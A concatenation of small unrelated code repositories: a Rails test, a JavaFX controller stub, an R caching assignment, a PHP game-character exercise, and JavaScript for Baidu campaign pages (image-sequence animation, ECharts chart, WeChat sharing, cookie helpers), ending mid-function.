This is my first AlphaBlog its created with The complete ruby on rails course.
<file_sep>require 'test_helper'
class ArticleTest < ActiveSupport::TestCase
def setup
@category = Category.new(name: "sports")
@category.id=1
@category.save
@article = Article.new(title: "sports", description:"hghghghghghghg",user_id:1, category_ids: [1])
end
test "article should be valid" do
assert @article.valid?
end
test "name should be present" do
@article.title = " "
assert_not @article.valid?
end
test "name should not be too long" do
@article.title = "a" * 56
assert_not @article.valid?
end
end
| 10ff79c5354e09221381c7847b067cc83893efac | [
"Markdown",
"Ruby"
] | 6 | Ruby | BobanJankovic/AlphaBlog | 95c79085ebd765e4044ace236c4cd4ced62894ca | 4307a5c99b8a16b18a6f976d6c0320a19ad1531e |
refs/heads/master | <file_sep>package it.polito.tdp.spellchecker.controller;
import java.net.URL;
import java.util.ResourceBundle;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
import javafx.scene.control.ComboBox;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
public class SpellCheckerController {
@FXML
private ResourceBundle resources;
@FXML
private URL location;
@FXML
private ComboBox<String> cmbLanguage;
@FXML
private TextArea txtInput;
@FXML
private Button btnSpellCheck;
@FXML
private TextArea txtOutput;
@FXML
private Label lblState;
@FXML
private Button btnClear;
@FXML
private Label lblTime;
@FXML
void doClearText(ActionEvent event) {
}
@FXML
void doSpellcheck(ActionEvent event) {
}
@FXML
void initialize() {
assert cmbLanguage != null : "fx:id=\"cmbLanguage\" was not injected: check your FXML file 'SpellChecker.fxml'.";
assert txtInput != null : "fx:id=\"txtInput\" was not injected: check your FXML file 'SpellChecker.fxml'.";
assert btnSpellCheck != null : "fx:id=\"btnSpellCheck\" was not injected: check your FXML file 'SpellChecker.fxml'.";
assert txtOutput != null : "fx:id=\"txtOutput\" was not injected: check your FXML file 'SpellChecker.fxml'.";
assert lblState != null : "fx:id=\"lblState\" was not injected: check your FXML file 'SpellChecker.fxml'.";
assert btnClear != null : "fx:id=\"btnClear\" was not injected: check your FXML file 'SpellChecker.fxml'.";
assert lblTime != null : "fx:id=\"lblTime\" was not injected: check your FXML file 'SpellChecker.fxml'.";
cmbLanguage.getItems().addAll("Italiano","English");
}
}
| 65c5760e55dd3f1b49ce873039c5654ed40f4abf | [
"Java"
] | 1 | Java | salvatorecaristo/Lab2 | eef7cd8faf836a60aa9362a06a24fc163cd65a53 | f5a076822047ba30688486d6d8be5ae06be1477d |
refs/heads/master | <file_sep>## Coursera R Programming from Johns Hopkins University:
## makeCacheMatrix: This function creates a special "matrix" object that can cache its inverse.
##cacheSolve: This function computes the inverse of the special "matrix" returned by makeCacheMatrix above.
##If the inverse has already been calculated (and the matrix has not changed), then the cachesolve should retrieve the inverse from the cache.
## function takes a matrix as an argument and rreturns a list with 4 functions (see descriptions below):
makeCacheMatrix <- function(x = matrix()) {
## here we store the inverse
inverse <- NULL
## set = setter function. Assign the x matrix and sets the inverse to NULL
set <- function(y){
x <<- y
inverse <<-NULL
}
##get = getter functions. Returns the value of the x matrix
get <- function(){
x
}
##setInverse = sets the value of inverse
setInverse <- function (inv){
inverse <<- inv
}
##getInverse = gets the value of inverse
getInverse <- function (){
inverse
}
##returning the list of functions
list(set = set, get = get, setInverse = setInverse, getInverse = getInverse)
}
##cacheSolve takes as parameter a list of functions constructed with makeCacheMatrix
##it returns the inverse of the original matrix from cache, if previously cached, or by calling solve if it wasn't
cacheSolve <- function(x, ...) {
## check if the inverse has been cached already
if (is.null(x$getInverse())){
## printing a message to show that the value returned was calculated
print("First time - using solve to calculate inverse")
##solve the inverse and setting the inverse in x
x$setInverse(solve(x$get()))
}
else{
## printing a message to show that the value returned comes form cache
print("Returning the value from cache")
}
## return the value of the inverse
x$getInverse()
}
| f77f320b9816a13b6d6b9f2738c35801f7132653 | [
"R"
] | 1 | R | MadDragon/ProgrammingAssignment2 | cace57b5632fdca4d5d56f2bcf9f0f6a3d3f2d6a | 80ad6cca2dbd97a1670c75f14456a55c603dac6d |
refs/heads/master | <file_sep><!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<pre>
<?php
require_once 'Classes.php';
echo "<br>";
//Criando personagens para batalha as batalhas
// $l1 = new Ladrao("Ladrão");
// $l2 = new Ladrao('Ladrão II');
// $c1 = new Cavaleiro("Arthur");
$p[1] = new Ladrao("Ladrão");
$p[2] = new Ladrao('Ladrão II');
$p[3] = new Cavaleiro("Arthur");
$p[4] = new Mago("<NAME>");
// armas para teste
$ar1 = new Arma('Espada Curta', 'Espada', 1.1, 0, 0);
$ar2 = new Arma('Espada Longa', 'Espada', 1.15, 0, 0);
$ar3 = new Arma('Bolota de Pregos', 'Bolota', 1.3, 0, 0);
$batalha[1] = new Batalha($p);
print_r($batalha);
?>
</pre>
</body>
</html>
<file_sep><?php
abstract class Personagem {
private $nome;
private $vidaMax;
private $vida;
private $armadura;
private $armaduraDefault;
private $forca;
private $forcaDefault;
private $velocidade;
private $equipe;
private $nivel;
private $mao1;
private $mao2;
function __construct($nome) {
$this->nome = $nome;
$this->nivel = 1;
$this->vidaMax = 100;
$this->vida = $this->vidaMax;
$this->armadura = 100;
$this->armaduradefault = $this->armadura;
$this->forca = 150;
$this->forcaDefault = $this->forca;
$this->velocidade = 100;
$this->mao1 = 0;
$this->mao2 = 0;
}
public function __set($name, $value) {
$this->$name = $value;
}
public function __get($name) {
return $this->$name;
}
public function tomarpocao() {
// Criar classe para a poção??
if($this->vida * 1.1 > $this->vidaMax){
$this->vida = $this->vidaMax;
}else{
$this->vida *= 1.1;
}
//echo $this->vida . " " . $this->vidaMax;
//$this->vida *= 1.1;
return "{$this->nome} recuperou vida e ficou com {$this->vida}";
}
public function equiparArma($mao, $arma){
if ($mao == 1){
if (!empty($this->mao1)){
echo "<br> Arma já está equipada. Equipar mesmo assim?";} // quando tiver interação
$this->desequiparArma(1);//}
//}else{
$this->mao1 = $arma;
$this->forca = $this->forca * $this->mao1->__get('forca');
echo "<br>{$this->__get('nome')} equipou {$this->mao1->__get('nome')} "
. "com sucesso!";
//}
}elseif($mao == 2){
if (!empty($this->mao2)){
echo "<br>Arma já está equipada. Equipar mesmo assim";}
$this->mao2 = $arma;
$this->defesa = $this->defesa * $this->mao2->__get('defesa');
echo "<br>{$this->__get('nome')} equipou {$this->mao1->__get('nome')} "
. "com sucesso!";
}
}
public function desequiparArma($mao){
if($mao == 1){
$this->mao1 = 0;
$this->forca = $this->forcaDefault;
}elseif ($mao == 2){
$this->mao2 = 0;
}
}
}
class Arma{
private $nome;
private $tipo;
private $forca;
private $defesa;
private $velocidade;
private $nivel;
public function __construct($nome, $tipo, $forca, $defesa, $velocidade) {
$this->nome = $nome;
$this->tipo = $tipo;
$this->forca = $forca;
$this->defesa = $defesa;
$this->velocidade = $velocidade;
$this->nivel = 1;
}
public function __set($name, $value) {
$this->$name = $value;
}
public function __get($name) {
return $this->$name;
}
}
class Mago extends Personagem{
public function __construct($nome) {
parent::__construct($nome);
$this->__set('armadura', $this->__get('armadura')*0.95);
$this->__set('vidaMax', $this->__get('vidaMax')*1.05);
$this->__set('mao1', new Arma('Varinha Quebrada', 'Varinha', 1.2, 0, 0));
$this->__set('forca',
$this->__get('forca') * $this->__get('mao1')->__get('forca')
);
$this->__set('vida', $this->__get('vidaMax'));
}
}
class Cavaleiro extends Personagem{
public function __construct($nome) {
parent::__construct($nome);
$this->__set('armadura', $this->__get('armadura')*1.15);
$this->__set('armaduraDefault', $this->__get('armadura'));
$this->__set('velocidade', $this->__get('velocidade')*0.85);
$this->__set('mao1', new Arma('Espada Longa', 'Espada', 1.3, 0, 0));
$this->__set('forca',
$this->__get('forca') * $this->__get('mao1')->__get('forca')
);
$this->__set('mao2', new Arma('Escudo redodno', 'Escudo', 0, 1.05, 0));
$this->__set('armadura',
$this->__get('armadura') * $this->__get('mao2')->__get('defesa')
);
}
}
class Ladrao extends Personagem{
public function __construct($nome) {
parent::__construct($nome);
$this->__set('armadura', $this->__get('armadura')*0.80);
$this->__set('velocidade', $this->__get('velocidade')*1.075);
$this->__set('forca', $this->__get('forca')*0.95);
$this->__set('forcaDefault', $this->__get('forca'));
$this->__set('mao1', new Arma('Espada Curta', 'Espada', 1.1, 0, 0));
//$this->forca = $this->forca * $this->mao1->__get('forca');
$this->__set('forca',
$this->__get('forca') * $this->__get('mao1')->__get('forca')
);
}
}
class Batalha{
private $idBatalha;
private $p;
private $dano;
public function __construct($p) {
$this->p = $p;
$this->idBatalha = rand();
}
public function __set($name, $value) {
$this->$name = $value;
}
public function __get($name) {
return $this->$name;
}
public function ataqueComum($ataque, $defesa) {
//$ataque = $ataque;
//$defesa = $defesa;
$fatorAtaque = $ataque->__get('forca')* 0.1;
$fatorDefesa = $defesa->__get('armadura')*0.1;
$this->dano = $fatorAtaque - $fatorDefesa;
echo $this->resumoBatalha($ataque, $defesa);
$defesa->__set('vida', $defesa->__get('vida') - $this->dano);
}
public function resumoBatalha($a, $d){
echo "<br>Batalha: {$this->idBatalha}<br>";
echo "{$a->__get('nome')} causou {$this->__get('dano')} de dano em "
. "{$d->__get('nome')} utilizando {$a->mao1->__get('nome')} <br>";
}
}
Class Pocao{
private $nome;
public function __construct($nome) {
$this->nome = $nome;
}
public function __get($name) {
return $this->$name = $name;
}
public function __set($name, $value) {
$this->$name = $value;
}
}
| 3bd3d8b4263ef45e212599349b1c2016397c09ad | [
"PHP"
] | 2 | PHP | betogroo/game | cc779107840825942065d67048c5a190797cbd4b | 686bd379d227a9017bc46ae75dc651c434b4b4a4 |
refs/heads/master | <file_sep>import React from 'react';
import helloworld from '../assets/images/helloworld.jpg';
import ComfirmationQuestions from './ComfirmationQuestions';
import NewTicketForm from './NewTicketForm';
import PropTypes from 'prop-types';
class NewTicketControl extends React.Component {
constructor(props) {
super(props);
this.state = {
formVisibleOnPage: false
};
this.handleTroubleshootingComfirmation = this.handleTroubleshootingComfirmation.bind(this);
}
handleTroubleshootingComfirmation(){
this.setState({formVisibleOnPage: true});
}
render(){
let currentlyVisibleContent = null;
if (this.state.formVisibleOnPage){
currentlyVisibleContent = <NewTicketForm onNewTicketCreation={this.props.onNewTicketCreation}/>;
} else {
currentlyVisibleContent = <ComfirmationQuestions onTroubleshootingComfirmation={this.handleTroubleshootingComfirmation}/>;
}
return (
<div>
<img src={helloworld}/>
{currentlyVisibleContent}
</div>
);
}
}
NewTicketControl.propTypes = {
onNewTicketCreation: PropTypes.func
};
export default NewTicketControl;
| 3053af57ac86a681b9664a07758bae6041d63bc1 | [
"JavaScript"
] | 1 | JavaScript | AAWhang/React-help-queue | 62fe80fa16bca361c6d42e1e465ccb13a1f3f5d0 | 8387faac886cf69481673fe654b3673af48b2722 |
HEAD | <file_sep>(function(){
//插入html
var oContainer = document.getElementById("container");
var oTransformersBox = document.createElement("div");
oTransformersBox.innerHTML ='<a id="transformers-x" href="javascript:">x</a><img src="./transformersimages/bianxinjinggang_kuanping_0000.jpg" id="op-transformers-img"><style>.container_l{ width: 1002px;}.op-transformers{width:1002px;height:689px;background:#fff;position:relative;margin-top:105px;z-index:1000;}.op-transformers img{width:100%;height:100%;display:none;}#transformers-x{font-size:36px;font-family:微软雅黑;position:absolute;top:0;right:0;display:block;color:#333; text-decoration:none;}#op-transformers-img{width:100%;height:100%;display:block;}</style>';
oContainer.appendChild(oTransformersBox);
oTransformersBox.className="op-transformers";
//定义数组和对象
var Optransformersimg=document.getElementById('op-transformers-img');
var Optransformersimgprn=Optransformersimg.parentNode.clientWidth;
var aTransformersimg = new Array;
var arr = {6:0 , 7:0, 8:0, 9:0, 10:0 ,81:90, 82:90, 83:90, 84:90, 85:90, 86:90, 87:90, 88:90, 89:90};
var numImgs = 100;
var loaded = {};
var imgs = {};
var startRet = null;
document.getElementById('transformers-x').onclick=function(){
Optransformersimg.parentNode.innerHTML="";
delete Optransformerstime;
delete preloadimages;
}
function genId(val){
if (val in arr) {
return arr[val];
}
return val;
}
function genUrl(id) {
return "./transformerszhaiimages/bianxingjingang_zhaiping_000"+id+".jpg";
}
function getDelay(isLoaded) {
if (isLoaded) return 80;
return 80;
}
function Optransformerstime(val){
if (val >= numImgs) return;
var id = genId(val);
var isLoaded = (id in loaded);
if (isLoaded) {
Optransformersimg.setAttribute('src', genUrl(id));
} else {
//console.log('delayed ' + val);
}
var delay = getDelay(isLoaded);
var Autoptransformersimg = setTimeout(function (){Optransformerstime(val+1)}, delay);
if (val == numImgs - 1) {
clearTimeout(Autoptransformersimg);
clearTimeout(startRet);
if(Optransformersimg.parentNode != null){
Optransformersimg.parentNode.innerHTML="";}
delete Optransformerstime;
delete preloadimages;
};
}
function preloadimages(n){
numImgs = n;
for (var j = 0; j < n; j++){
if(j in arr){
continue;
}
var id = genId(j);
imgs[id] = new Image();
(function(i){
imgs[i].onload = function() {
loaded[i] = true;
// console.log('loaded ' + i);
}
})(id);
imgs[id].src = genUrl(id);
if (imgs[id].complete) {
loaded[id] = true;
// console.log(id);
}
};
}
preloadimages(99);
var startRet = setTimeout(function(){Optransformerstime(0)},1000);
})();
<file_sep>
require.config({
paths: {
echarts: './js'
}
});
require([
'echarts',
'echarts/chart/line'
],function (ec){
var createOption = function (data){
var tags = []
for (var i = data.length - 1; i >= 0; i--) {
tags.push(data[i].name)
};
var Chart = ec.init(document.getElementById('myChart'));
Chart.showLoading({
text: '正在努力的读取数据中...', //loading话术
});
Chart.hideLoading();
var option = {
tooltip : {
trigger: 'axis'
},
legend: {
data:tags
},
calculable : true,
xAxis : [
{
type : 'category',
data : ['1月','2月','3月','4月','5月','6月','7月','8月','9月','10月','11月','12月']
}
],
yAxis : [
{
type : 'value',
splitArea : {show : true}
}
],
series : data,
noDataLoadingOption : {
text : '暂无数据' ,
x : 'center',
y : 'center'
}
}
Chart.setOption(option);
}
var addOptionData = function (idata,_this){
if(_this.hasClass('cur')){
for (var i = data.length - 1; i >= 0; i--) {
if(data[i].name === idata.name){
data.splice(i,1);
createOption(data)
}
};
_this.removeClass('cur');
}else{
data.push(idata);
_this.addClass('cur');
createOption(data)
}
}
var data = [
{
name:'营业桌数',
type:'line',
data:[2.6, 5.9, 9.0, 26.4, 28.7, 70.7, 175.6, 182.2, 48.7, 18.8, 6.0, 2.3]
}
]
var data1 = {
name:'营业桌数',
type:'line',
data:[2.6, 5.9, 9.0, 26.4, 28.7, 70.7, 175.6, 182.2, 48.7, 18.8, 6.0, 2.3]
}
var data2 = {
name: '中午上桌增长率', // 系列名称
type: 'line', // 图表类型,折线图line、散点图scatter、柱状图bar、饼图pie、雷达图radar
data: [6, 100, 20, 150, 28.7, 70.7, 5, 182.2, 48.7, 18.8, 16.0, 12.3]
}
var data3 = {
name: '晚上上桌增长率', // 系列名称
type: 'line', // 图表类型,折线图line、散点图scatter、柱状图bar、饼图pie、雷达图radar
data: [112, 23, 45, 56, 233, 343, 454, 89, 343, 123, 45, 123]
}
var data4 = {
name:'上桌率',
type:'line',
data:[2.0, 4.9, 7.0, 23.2, 25.6, 76.7, 135.6, 162.2, 32.6, 20.0, 6.4, 3.3]
}
createOption(data)
$('.btn-chart-1').on('click', function(event) {
addOptionData(data1,$(this));
});
$('.btn-chart-2').on('click', function(event) {
addOptionData(data2,$(this));
});
$('.btn-chart-3').on('click', function(event) {
addOptionData(data3,$(this));
});
$('.btn-chart-4').on('click', function(event) {
addOptionData(data4,$(this));
});
});
<file_sep>
var transformer=(function(){
var _t = new Date().getTime(), _a = "transformer_imgs_" + _t;
// global images
window[_a] = {};
// var ROOT = 'http://zhongzi01.duapp.com/transformers/bigimages/';
var ROOT = 'http://www.baidu.com/nocache/zhixin/transformer/';
// var ROOT = './';
var PLAY_INTERVAL_MS = 80;
var containerDiv = null;
var transformerDiv = null
var transformerImg = null;
var transformerClose = null;
var clientWidth = 0;
var positions = ["0px 0px", "-1222px 0px", "0px -706px", "-1222px -706px"];
var numImgs = 100;
var startTimeoutId = -1;
var intervalId = -1;
var index = 0;
var pos_index = 0;
var stopCallback = null;
var stoped = true;
var disposed = true;
var rafHandle = 0;
var rafIndex = -1;
// var numRafPerFrame = 5;
var numRafPerFrame = 3;
var startTime = new Date().getTime();
var prvTime = startTime;
function mylog(msg) {
var now = new Date().getTime();
var totDur = now - startTime;
var prvDur = now - prvTime;
prvTime = now;
console.log('[' + (totDur / 1000) + 's, ' + prvDur + 'ms] ' + msg);
}
function init() {
containerDiv = document.getElementById("container");
transformerDiv = document.createElement("div");
// IE bug
// transformerDiv.innerHTML ='<a id="transformer-close" href="javascript:"></a><style>.container_l{ width: 1222px;} #transformer-container{width:1222px;height:706px;background:#fff;position:absolute;top:105px;z-index:1000;} #transformer-close{width:50px;height:50px;background:url(http://zhongzi01.duapp.com/transformers/close.png);position:absolute;top:0;right:0;display:block;color:#333; text-decoration:none;}#transformer-img{width:100%;height:100%;display:block;}</style>';
transformerDiv.innerHTML ='<a id="transformer-close" href="javascript:"> </a><style>.container_l{ width: 1222px;} #transformer-container{width:1222px;height:706px;background:#fff;position:absolute;top:105px;z-index:1000;} #transformer-close{width:50px;height:50px; background: url(http://zhongzi01.duapp.com/transformers/close.png); position:absolute;top:0;right:0;display:block;color:#333; text-decoration:none;}#transformer-img{width:100%;height:100%;display:block;}</style>';
containerDiv.appendChild(transformerDiv);
transformerDiv.id = "transformer-container";
//定义数组和对象
transformerClose = document.getElementById('transformer-close');
transformerClose.onclick = dispose;
}
function getPosition(pos_index) {
return positions[pos_index];
}
function numberFormat(n) {
var N = 5;
var s = String(n);
while (s.length < N) {
s = '0' + s;
}
return s;
}
function genUrl(id) {
// return ROOT + './0000' + id + '.jpg';
var i = document.form_url.select_url.selectedIndex;
var root = document.form_url.select_url.options[i].value;
return root + '/0000' + id + '.jpg';
}
function showImg() {
++rafIndex;
if (rafIndex % numRafPerFrame > 0) {
rafHandle = window.requestAnimationFrame(showImg);
return;
}
mylog('showImg index=' + index + ', pos_index=' + pos_index);
if (index >= numImgs) return;
var url = genUrl(index);
var position = getPosition(pos_index);
var style = 'background-image: url(' + url + '); background-position: ' + position;
// transformerDiv.setAttribute('style', style);
$('#transformer-container').attr('style', style);
pos_index = (pos_index + 1) % positions.length;
if (pos_index == 0) {
index += 1;
}
// 执行完自动结束
if (index < numImgs) {
rafHandle = window.requestAnimationFrame(showImg);
} else {
dispose();
}
}
function preloadImgs(n){
numImgs = n;
for (var i = 0; i < n; i++){
window[_a][i] = new Image();
window[_a][i].src = genUrl(i);
if (i > 0) {
window[_a][i].onload = (function(idx){
return function() {
mylog('loaded ' + idx);
}
})(i);
}
};
}
function startLoop(){
// intervalId = setInterval(showImg, PLAY_INTERVAL_MS);
rafHandle = window.requestAnimationFrame(showImg);
}
// 开始
function start(){
dispose();
init();
stoped = false;
disposed = false;
index = 0;
pos_index = 0;
var firstImg = window[_a][0];
if (firstImg.complete) {
startLoop();
} else {
firstImg.onload = startLoop;
}
}
// 停止
function stop(){
if (stoped) return;
stoped = true;
clearTimeout(startTimeoutId);
clearInterval(intervalId);
if (stopCallback) {
stopCallback();
}
}
// 销毁
function dispose(){
if (disposed) return;
disposed = true;
stop();
transformerClose.onclick = null;
containerDiv.removeChild(transformerDiv);
}
function end(callback){
stopCallback = callback;
}
// requestAnimationFrame polyfill https://github.com/sole/tween.js/blob/master/examples/js/RequestAnimationFrame.js
(function() {
var lastTime = 0;
var vendors = ['ms', 'moz', 'webkit', 'o'];
for(var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
window.requestAnimationFrame = window[vendors[x]+'RequestAnimationFrame'];
window.cancelAnimationFrame = window[vendors[x]+'CancelAnimationFrame']
|| window[vendors[x]+'CancelRequestAnimationFrame'];
}
if (!window.requestAnimationFrame)
window.requestAnimationFrame = function(callback, element) {
var currTime = new Date().getTime();
var timeToCall = Math.max(0, 16 - (currTime - lastTime));
var id = window.setTimeout(function() { callback(currTime + timeToCall); },
timeToCall);
lastTime = currTime + timeToCall;
return id;
};
if (!window.cancelAnimationFrame)
window.cancelAnimationFrame = function(id) {
clearTimeout(id);
};
}());
preloadImgs(29);
return{
start:start,
// stop:stop,
dispose:dispose,
end:end
}
}());
<file_sep># Project
###div-wang做过的项目;
[ebaidu-巴西世界杯](https://github.com/div-wang/Project/tree/master/page/2014worldcup "ebaidu-巴西世界杯")
[ebaidu-巴西世界杯手机版](https://github.com/div-wang/Project/tree/master/page/2014worldcupsj "ebaidu-巴西世界杯手机版")
[ebaidu-礼邀座上客](https://github.com/div-wang/Project/tree/master/page/lyzsk "ebaidu-礼邀座上客")
[ebaidu-小鬼当家](https://github.com/div-wang/Project/tree/master/page/xgdj "ebaidu-小鬼当家")
[baidu-变形金刚](https://github.com/div-wang/Project/tree/master/page/transformers "ebaidu-变形金刚")
[baidu-变形金刚手机传播页](https://github.com/div-wang/Project/tree/master/page/transformers-sj "ebaidu-变形金刚手机传播页")
[疯狂抢](http://go.39yst.com/ "疯狂抢")
[39养生堂-pad版](http://pad.39yst.com/ "39养生堂-pad版")
[39养生堂-手机版](http://m.39yst.com/ "39养生堂-手机版")
[39养生堂-保健食品](http://www.39yst.com/bjsp/ "39养生堂-保健食品")
<file_sep>/*function WeiXinShareBtn() {
WeixinJSBridge.invoke('shareTimeline', {
"title": "【小鬼当家】",
"link": "http://huodong.baidu.com/young/",
"desc": " 快来看看你家孩子天才潜质和想象力指数吧! ",
"img_url": "http://huodong.baidu.com/young/pc/images/tan1.png"
});
}
*/
//微信分享
var url = location.search; //获取url中"?"符后的字串
if (url.indexOf("?") != -1) { //判断是否有参数
var str = url.substr(1); //从第一个字符开始 因为第0个是?号 获取所有除问号的所有符串
var strs = str.split("&"); //用等号进行分隔 (因为知道只有一个参数 所以直接用等号进分隔 如果有多个参数 要用&号分隔 再用等号进行分隔)
url = strs[0]
}
var urls = "http://huodong.baidu.com/2014worldcupsj?"+url;
var wimg = "http://huodong.baidu.com/2014worldcupsj/images/zhushijue_banner.jpg";
var wurl = urls
var wdesc = '世界杯福利来啦,即日起射球报名并开户百度推广,赢价值599元世界杯球衣!100%中奖!还有传球好礼等你拿哟!';
var wtit = '百度推广“百万助攻” 世界杯 传惊喜,赢好礼';
var wappid = '';
function shareMsg() {
WeixinJSBridge.invoke('sendAppMessage',{
"appid": wappid,
"img_url": wimg,
"img_width": "200",
"img_height": "200",
"link": wurl,
"desc": wdesc,
"title": wtit,
})
}
function shareQuan() {
WeixinJSBridge.invoke('shareTimeline',{
"img_url": wimg,
"img_width": "200",
"img_height": "200",
"link": wurl,
"desc": wdesc,
"title": wtit
});
}
function shareWeibo() {
WeixinJSBridge.invoke('shareWeibo',{
"content": wdesc,
"url": wurl,
});
}
// 当微信内置浏览器完成内部初始化后会触发WeixinJSBridgeReady事件。
document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {
// 发送给好友
WeixinJSBridge.on('menu:share:appmessage', function(argv){
shareMsg();
});
// 分享到朋友圈
WeixinJSBridge.on('menu:share:timeline', function(argv){
shareQuan();
});
// 分享到微博
WeixinJSBridge.on('menu:share:weibo', function(argv){
shareWeibo();
});
}, false);
//统计代码
var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3F1f3202d820180a39f736f20fce790de8' type='text/javascript'%3E%3C/script%3E"));<file_sep>/**
* @author sks
*/
function anim(){
$(".xipiugif").click(function(){
$('.text1').hide();
$('.dianji').hide();
$('.jiantou').hide();
$('.baozha1').show();
$('.xipiugif').hide();
$('.xipiugif').animate({left:'50%',top: '50%',width:'0',opacity:0},200);
$('.baozha1').animate({left:'-50%',top: '-25%',width:'200%',opacity:0},1000);
setTimeout(sousuo,1200);setTimeout(sousuo1,1000);setTimeout(sousuo2,800);setTimeout(sousuo3,500);setTimeout(sousuo4,600);setTimeout(sousuo5,400);
setTimeout(baozha2,200);
setTimeout(baozha3,500);
});
$(".dianji").click(function(){
$('.text1').hide();
$('.dianji').hide();
$('.jiantou').hide();
$('.baozha1').show();
$('.xipiugif').hide();
$('.xipiugif').animate({left:'50%',top: '50%',width:'0',opacity:0},200);
$('.baozha1').animate({left:'-50%',top: '-25%',width:'200%',opacity:0},1000);
setTimeout(sousuo,1200);setTimeout(sousuo1,1000);setTimeout(sousuo2,800);setTimeout(sousuo3,500);setTimeout(sousuo4,600);setTimeout(sousuo5,400);
setTimeout(baozha2,200);
setTimeout(baozha3,500);
})
$(".point").click(function(){
$('.text1').hide();
$('.dianji').hide();
$('.jiantou').hide();
$('.baozha1').show();
$('.xipiugif').hide();
$('.xipiugif').animate({left:'50%',top: '50%',width:'0',opacity:0},200);
$('.baozha1').animate({left:'-50%',top: '-25%',width:'200%',opacity:0},1000);
setTimeout(sousuo,1200);setTimeout(sousuo1,1000);setTimeout(sousuo2,800);setTimeout(sousuo3,500);setTimeout(sousuo4,600);setTimeout(sousuo5,400);
setTimeout(baozha2,200);
setTimeout(baozha3,500);
})
}
var baozha2 = function(){$('.baozha2').show();$('.baozha2').animate({left:'-50%',top: '-25%',width:'200%',opacity:0},1500);}
var baozha3 = function(){$('.baozha3').show();$('.baozha3').animate({left:'-50%',top: '-25%',width:'200%',opacity:0},1500,function(){$('.text2').show();setTimeout(bxjg,2000);});}
// var xqgif = function(){ $(".xipiugif").animate({top:"13%"},200,function(){$(".xipiugif").animate({top:"17%"},100);});}
var sousuo = function(){
$('.sousuo').show();
$('.sousuo').animate({left:'50%',top: '45%',width:'0',opacity:0},1500);
}
var sousuo1 = function(){
$('.sousuo1').show();
$('.sousuo1').animate({left:'50%',top: '45%',width:'0',opacity:0},1000);
}
var sousuo2 = function(){
$('.sousuo2').show();
$('.sousuo2').animate({left:'50%',top: '45%',width:'0',opacity:0},1000);
}
var sousuo3 = function(){
$('.sousuo3').show();
$('.sousuo3').animate({left:'50%',top: '45%',width:'0',opacity:0},1000);
}
var sousuo4 = function(){
$('.sousuo4').show();
$('.sousuo4').animate({left:'50%',top: '45%',width:'0',opacity:0},1000);
}
var sousuo5 = function(){
$('.sousuo5').show();
$('.sousuo5').animate({left:'50%',top: '45%',width:'0',opacity:0},1000);
}
var sousuoSetTimeout = function(){$('.bxjg').animate({left:'25%',top: '10%',width:'50%',opacity:1},1000);$('.guang').fadeIn(1000);}
var Dbaozha1=function(){$('.baozha1').animate({left:'50%',top: '45%',width:'0',opacity:1},1000);}
var Dbaozha2=function(){$('.baozha2').animate({left:'50%',top: '45%',width:'0',opacity:1},1000);}
var Dbaozha3=function(){$('.baozha2').animate({left:'50%',top: '45%',width:'0',opacity:1},1000,
function(){
$('.text4').show(10,function(){$('.text4').animate({left:'7%',top: '70%',width:'90%',opacity:1},1000);});
});}
var bxjg = function(){
$('.text2').hide();$('.text2').animate({width:'0',opacity:0},10)
setTimeout(Dbaozha1,10);
setTimeout(Dbaozha2,300);
setTimeout(Dbaozha3,500);
setTimeout(sousuoSetTimeout,1500);
}
setTimeout(anim,10);
var wimg = "http://zhongzi01.duapp.com/transformers-sj/images/bxjg1.png";
var wurl = "http://zhongzi01.duapp.com/transformers-sj/";
var wdesc = '塞伯坦的古人云,三十而咔,咔咔酷酷,酷酷咔咔';
var wtit = '百度搜索 为你而变';
var wappid = '';
function shareMsg() {
WeixinJSBridge.invoke('sendAppMessage',{
"appid": wappid,
"img_url": wimg,
"img_width": "200",
"img_height": "200",
"link": wurl,
"desc": wdesc,
"title": wtit,
})
}
function shareQuan() {
WeixinJSBridge.invoke('shareTimeline',{
"img_url": wimg,
"img_width": "200",
"img_height": "200",
"link": wurl,
"desc": wdesc,
"title": wtit
});
}
function shareWeibo() {
WeixinJSBridge.invoke('shareWeibo',{
"content": wdesc,
"url": wurl,
});
}
// 当微信内置浏览器完成内部初始化后会触发WeixinJSBridgeReady事件。
document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {
// 发送给好友
WeixinJSBridge.on('menu:share:appmessage', function(argv){
shareMsg();
});
// 分享到朋友圈
WeixinJSBridge.on('menu:share:timeline', function(argv){
shareQuan();
});
// 分享到微博
WeixinJSBridge.on('menu:share:weibo', function(argv){
shareWeibo();
});
}, false);
<file_sep>//url参数传值
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
//cookie封装
function cookie(name){
var cookieArray=document.cookie.split("; "); //得到分割的cookie名值对
var cookie=new Object();
for (var i=0;i<cookieArray.length;i++){
var arr=cookieArray[i].split("="); //将名和值分开
if(arr[0]==name)return unescape(arr[1]); //如果是指定的cookie,则返回它的值
}
return "";
}
function delCookie(name)//删除cookie
{
document.cookie = name+"=;expires="+(new Date(0)).toGMTString();
}
function getCookie(objName){//获取指定名称的cookie的值
var arrStr = document.cookie.split("; ");
for(var i = 0;i < arrStr.length;i ++){
var temp = arrStr[i].split("=");
if(temp[0] == objName) return unescape(temp[1]);
}
}
function addCookie(objName,objValue,objHours){ //添加cookie
var str = objName + "=" + escape(objValue);
if(objHours > 0){ //为时不设定过期时间,浏览器关闭时cookie自动消失
var date = new Date();
var ms = objHours*3600*1000;
date.setTime(date.getTime() + ms);
str += "; expires=" + date.toGMTString();
}
document.cookie = str;
}
function SetCookie(name,value)//两个参数,一个是cookie的名子,一个是值
{
var Days = 30; //此 cookie 将被保存 30 天
var exp = new Date(); //new Date("December 31, 9998");
exp.setTime(exp.getTime() + Days*24*60*60*1000);
document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function getCookie(name)//取cookies函数
{
var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
